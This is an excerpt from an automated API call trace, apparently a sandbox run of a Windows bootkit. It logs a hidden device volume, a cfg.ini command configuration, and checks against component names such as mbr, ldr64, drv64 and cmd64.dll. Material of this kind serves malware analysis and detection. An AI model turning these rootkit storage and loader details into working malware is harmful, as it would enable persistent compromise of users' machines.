IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.074] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.074] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.074] IdePortDispatch () returned 0x103 [0129.074] KeWaitForMutexObject () returned 0x0 [0129.074] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.074] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.074] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.074] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.074] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.074] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02310 [0129.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.074] KeLeaveCriticalRegion () [0129.074] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.074] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.075] KeEnterCriticalRegion () [0129.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.075] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.075] KeLeaveCriticalRegion () [0129.075] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.075] KeEnterCriticalRegion () [0129.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.075] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.075] IdePortDispatch () returned 0x103 [0129.075] KeWaitForMutexObject () returned 0x0 [0129.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.075] KeLeaveCriticalRegion () [0129.075] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.075] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.075] KeEnterCriticalRegion () [0129.075] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b92000 [0129.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.075] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.075] IdePortDispatch () returned 0x103 [0129.075] KeWaitForMutexObject () returned 0x0 [0129.076] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.076] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.076] IdePortDispatch () returned 0x103 [0129.076] KeWaitForMutexObject () returned 0x0 [0129.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.076] KeLeaveCriticalRegion () [0129.076] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.076] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.076] KeEnterCriticalRegion () [0129.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.076] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.077] KeLeaveCriticalRegion () [0129.077] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.077] KeEnterCriticalRegion () [0129.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.077] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.077] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.077] KeLeaveCriticalRegion () [0129.077] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.077] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.077] KeEnterCriticalRegion () [0129.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.077] ExFreePoolWithTag (P=0xfffffa8003c02310, Tag=0x0) [0129.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.077] KeLeaveCriticalRegion () [0129.077] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.077] ReleaseMutex (hMutex=0xf0) returned 1 [0129.077] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.077] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.077] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.077] KeEnterCriticalRegion () [0129.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.077] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.077] IdePortDispatch () returned 0x103 [0129.077] KeWaitForMutexObject () returned 0x0 [0129.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.077] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.077] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.078] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.078] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.078] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1f60 [0129.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.078] KeLeaveCriticalRegion () [0129.078] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.078] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.078] KeEnterCriticalRegion () [0129.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.078] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.078] KeLeaveCriticalRegion () [0129.078] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.078] KeEnterCriticalRegion () [0129.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.078] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.078] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.078] IdePortDispatch () returned 0x103 [0129.078] KeWaitForMutexObject () returned 0x0 [0129.078] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.078] KeLeaveCriticalRegion () [0129.078] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.078] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.078] KeEnterCriticalRegion () [0129.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.078] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b93000 [0129.078] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.079] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.079] IdePortDispatch () returned 0x103 [0129.079] KeWaitForMutexObject () returned 0x0 [0129.079] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.079] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.079] IdePortDispatch () returned 0x103 [0129.079] KeWaitForMutexObject () returned 0x0 [0129.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.079] KeLeaveCriticalRegion () [0129.079] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.080] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.080] KeEnterCriticalRegion () [0129.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.080] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.080] KeLeaveCriticalRegion () [0129.080] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.080] KeEnterCriticalRegion () [0129.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.080] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.080] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7c20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.080] KeLeaveCriticalRegion () [0129.080] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.080] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.080] KeEnterCriticalRegion () [0129.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.080] ExFreePoolWithTag (P=0xfffffa80037e1f60, Tag=0x0) [0129.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.080] KeLeaveCriticalRegion () [0129.080] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.080] ReleaseMutex (hMutex=0xf0) returned 1 [0129.080] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.080] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.080] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.080] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.080] KeEnterCriticalRegion () [0129.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.080] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.080] IdePortDispatch () returned 0x103 [0129.081] KeWaitForMutexObject () returned 0x0 [0129.081] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.081] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.081] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.081] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.081] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.081] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.081] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.081] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.081] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.081] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.081] KeLeaveCriticalRegion () [0129.081] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.081] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.081] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.081] KeEnterCriticalRegion () [0129.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.081] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.081] IdePortDispatch () returned 0x103 [0129.081] KeWaitForMutexObject () returned 0x0 [0129.082] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.082] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.082] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.082] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.082] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.082] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.082] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.082] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.082] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.082] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.082] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.082] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.082] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.082] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.082] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.082] KeLeaveCriticalRegion () [0129.082] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.082] ReleaseMutex (hMutex=0x100) returned 1 [0129.082] Sleep (dwMilliseconds=0x2bf20) [0129.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7023a9f0, dwHighDateTime=0x1d24fa4)) [0129.089] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.089] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.089] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.089] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.089] KeEnterCriticalRegion () [0129.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.090] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.090] IdePortDispatch () returned 0x103 [0129.090] KeWaitForMutexObject () returned 0x0 [0129.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.090] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.090] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.090] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.090] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.090] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.090] KeLeaveCriticalRegion () [0129.090] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.090] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.090] KeEnterCriticalRegion () [0129.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.090] KeLeaveCriticalRegion () [0129.090] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.090] KeEnterCriticalRegion () [0129.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.090] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.090] IdePortDispatch () returned 0x103 [0129.090] KeWaitForMutexObject () returned 0x0 [0129.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.091] KeLeaveCriticalRegion () [0129.091] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.091] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.091] KeEnterCriticalRegion () [0129.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b96000 [0129.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.091] IdePortDispatch () returned 0x103 [0129.091] KeWaitForMutexObject () returned 0x0 [0129.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.091] MmProbeAndLockPages (in: 